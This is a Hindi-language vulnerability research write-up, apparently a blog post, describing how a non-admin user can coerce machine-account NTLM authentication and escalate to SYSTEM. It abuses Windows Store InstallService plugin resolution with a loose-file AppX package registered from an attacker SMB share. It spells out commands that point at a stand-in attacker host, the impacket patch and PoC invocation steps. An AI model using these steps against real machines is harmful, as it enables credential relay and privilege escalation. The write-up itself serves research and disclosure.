
LPE के साथ एक और नया coercion प्राइमिटिव - विंडोज स्टोर InstallService प्लगइन रिज़ॉल्यूशन प्रयोगों के माध्यम से एक गैर-एडमिन उपयोगकर्ता से मशीन-अकाउंट NTLM coercion
इस शोध के पीछे का विचार सरल था, क्योंकि मैं अपनी खुद की coercion तकनीक खोजना चाहता था। मैंने नए RPC आक्रमण सतहों की तलाश से शुरुआत की, लेकिन माइक्रोसॉफ्ट द्वारा RPC गतिविधि निगरानी जोड़ने के बाद (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), मैंने एक अलग रास्ता अपनाने का फैसला किया।
UNCanny उस खरगोश के बिल का परिणाम है। यह ऐसा कुछ नहीं है जिसे मैं वास्तविक रेड टीम ऑप्स के लिए विश्वसनीय मानूंगा क्योंकि इसकी सीमा है, लेकिन मुझे अब भी लगता है कि नोट्स उसी क्षेत्र में खुदाई करने वाले किसी भी व्यक्ति के लिए प्रकाशित करने लायक हैं।
संक्षेप में यह primitive है:
एक सामान्य उपयोगकर्ता विंडोज स्टोर इंस्टॉल सेवा को कुछ इंस्टॉल मेटाडेटा देता है -> सेवा, जो लोकल सिस्टम के रूप में चल रही है, उस कार्य के लिए एक "प्लगइन" हल करती है -> हल करने वाला उस पथ पर
LoadLibraryWकरता है जो उपयोगकर्ता से प्रभावित था -> वह पथ एक UNC है -> मशीन खाते के रूप में आउटबाउंड NTLM।
घटक विंडोज स्टोर इंस्टॉल सेवा वर्ल्ड है: InstallService.dll InstallService.exe में होस्ट किया गया है, जो NT AUTHORITY\SYSTEM के रूप में चल रहा है।
खरगोश का बिल InstallService.dll से शुरू हुआ। मैं विंडोज घटकों को देख रहा था जो पैकेज इंस्टॉल करते हैं, रीबूट के बाद स्थिति बहाल करते हैं, विफल कार्यों को फिर से शुरू करते हैं, स्थानीय/दूरस्थ सामग्री पढ़ते हैं, और प्लगइन लोड करते हैं। जिस किसी भी चीज़ में ये चार चीज़ें एक साथ होती हैं, उसमें आमतौर पर कहीं न कहीं सीमा भ्रम होता है:
दिलचस्प रनटाइम क्लास था:
Windows.Internal.InstallService.Control.InstallServiceControl
IID: e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8 -> CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

वह propertiesJson पैरामीटर वह जगह है जहां मज़ा है। इंस्टॉल व्यवहार को JSON फ़ील्ड जैसे FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId द्वारा वर्णित किया गया है।
पहले मैंने सोचा था कि बग "SourceUri में UNC डालें और सेवा को इसे पढ़ने दें" होगा। यह सुंदर होता, लेकिन विंडोज इतना उदार नहीं था। मैंने अंतर्निहित पूर्ति पथ (CreateInstallServiceWorkFromBridge, InstallService.dll) को उल्टा किया और अंतर्निहित प्लगइन ऐसा नहीं करते:
WU json को पार्स करता है और WinHTTP / Delivery Optimization पर जाता है। कभी SMB नहीं।ChainedWork और XVC एक ही कहानी हैं या क्लाइंट पर मौजूद भी नहीं हैं।SourceUri या तो जल्दी खारिज कर दिया जाता है या कैटलॉग सत्यापन में रूट कर दिया जाता है। CreateCatalogItemFromLocalData नाम के बावजूद इन-मेमोरी सीरियलाइज़्ड json से एक कैटलॉग आइटम बनाता है, यह फ़ाइल खोलने नहीं जाता है।तो भोला विचार एक मृत अंत है, यह सुविधा बहुत दिलचस्प है और मैं इस पर अन्य शोध primitives भी कर रहा हूं और यह जोर से कहने लायक है ताकि कोई इस पर एक सप्ताह बर्बाद न करे :)
पूरे क्रिएट/रिस्टोर प्रवाह में एकमात्र स्थान जहां सेवा एक हमलावर-प्रभावित पथ को छूती है, वह प्लगइन सक्रियण है। फ़ंक्शन PluginHelpers::ActivatePlugin है। यह FulfillmentPluginId को इस क्रम में हल करता है:
"WU" -> अंतर्निहित"ChainedWork" -> अंतर्निहितStaticPluginMap (HKLM) में पाया गया मान -> CoCreateInstance एक CLSID, या WinRT वर्ग को सक्रिय करें"XVC" -> एक्सबॉक्स फैक्टरीFindPackagesForUser(pfn) -> उस पैकेज का InstalledLocation.Path लें -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")शाखा 5 वह है और PluginHelpers::IsPluginAvailable गेट की पुष्टि करता है: यह किसी भी FulfillmentPluginId के लिए सत्य लौटाता है जो एक स्थापित पैकेज से मेल खाता है, ठीक उसी FindPackagesForUser लुकअप के माध्यम से।

इसलिए यदि एक FulfillmentPluginId एक ऐसे पैकेज की ओर इशारा करता है जिसका InstalledLocation एक UNC है, तो InstallService.exe SYSTEM के रूप में चल रहा है:
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )
LoadLibraryW को यह पता लगाने से पहले कि dll वहां नहीं है, \\attacker\share से कनेक्ट और प्रमाणित करना होता है और वह प्रमाणीकरण ही coercion है और dll का कभी अस्तित्व में होना आवश्यक नहीं है।

एकमात्र प्रश्न शेष है "एक सामान्य उपयोगकर्ता ऐसा पैकेज कैसे प्राप्त करता है जिसका InstalledLocation UNC है"। उत्तर ढीली-फ़ाइल पंजीकरण है, जो एक प्रति-उपयोगकर्ता, गैर-उन्नत संचालन है:
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
विंडोज पैकेज को "अपनी जगह पर" पंजीकृत करता है, इसलिए पंजीकृत InstalledLocation वस्तुतः वह UNC है जिसे आपने इंगित किया था। फिर आप उस पैकेज के परिवार नाम को प्लगइन आईडी के रूप में उपयोग करके कार्य को ट्रिगर करते हैं।
Add-AppxPackage -Register \\attacker\share\AppxManifest.xmlCreateInstallServiceWork( FulfillmentPluginId = <उस पैकेज का PFN> )कॉलर एक सामान्य उपयोगकर्ता है, नेटवर्क प्रमाणीकरण मशीन खाता है।

कम-विशेषाधिकार वाले उपयोगकर्ता ने इसे ट्रिगर किया, मशीन खाते ने प्रमाणित किया। विंडोज के अपने लोडर ने UNC स्पर्श किया, कॉलर ने नहीं।

चलाने से पहले दो चीजें सुलझानी होंगी:
impacket-smbserver फ़ाइलसिस्टम प्रकार XTFS रिपोर्ट करता है। AppX गैर-NTFS शेयरों पर पंजीकरण करने से इंकार करता है (0x80073CFD)। impacket/smbserver.py में FileSystemName फ़ील्ड को NTFS में पैच करें।
शेयर को AppxManifest.xml, logo.png, dummy.exe की आवश्यकता है। किसी InstallServicePlugin.dll की आवश्यकता नहीं है। मैनिफेस्ट में MaxVersionTested लक्ष्य बिल्ड से ≤ होना चाहिए (लक्ष्य पर winver से जांचें)।
आप Kali पर रिपो रूट से poc/setup.sh चला सकते हैं। यह शेयर को पॉप्युलेट करता है, impacket को पैच करता है, यदि TARGET_IP और TARGET_CREDS सेट हैं तो smbclient के माध्यम से लक्ष्य पर poc.ps1 स्टेज करता है, और सर्वर शुरू करता है ;-)
फिर अपने विंडोज वर्कस्टेशन पर एक इंटरैक्टिव सत्र से कम-विशेषाधिकार वाले उपयोगकर्ता के रूप में:
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce
उसी बग का एक दूसरा पक्ष है जो coercion से अधिक सीधा है। यदि InstallServicePlugin.dll वास्तव में UNC पैकेज पथ पर मौजूद है, तो सेवा अभी भी उसी LoadLibraryW(\\attacker\share\InstallServicePlugin.dll) शाखा तक पहुंचती है, लेकिन इस बार लोडर सफल होता है और dll स्टोर इंस्टॉल सेवा प्रक्रिया के अंदर NT AUTHORITY\SYSTEM के रूप में मैप हो जाता है।
तो मैं इस मुद्दे के लिए सबूत देने की कोशिश में उत्साहित हो गया और lpe/ में poc लिखा। महत्वपूर्ण बात कोई और पैकेज पंजीकरण चाल नहीं है, यह वही पंजीकृत ढीला पैकेज है जिसे प्लगइन पैकेज के रूप में पुन: उपयोग किया जा रहा है। हार्नेस कम-विशेषाधिकार वाले उपयोगकर्ता के पैकेज परिवार नाम को Get-AppxPackage से पूछता है, उस PFN को FulfillmentPluginId के रूप में पास करता है, SkipCatalogLookup=true सेट करता है, और SerializedFulfillmentData शामिल करता है। वह अंतिम फ़ील्ड मायने रखती है क्योंकि यदि पूर्ति डेटा के बिना कैटलॉग लुकअप छोड़ दिया जाता है तो InstallQueue2::CreateWork 0x80070057 के साथ अनुरोध को अस्वीकार कर देता है।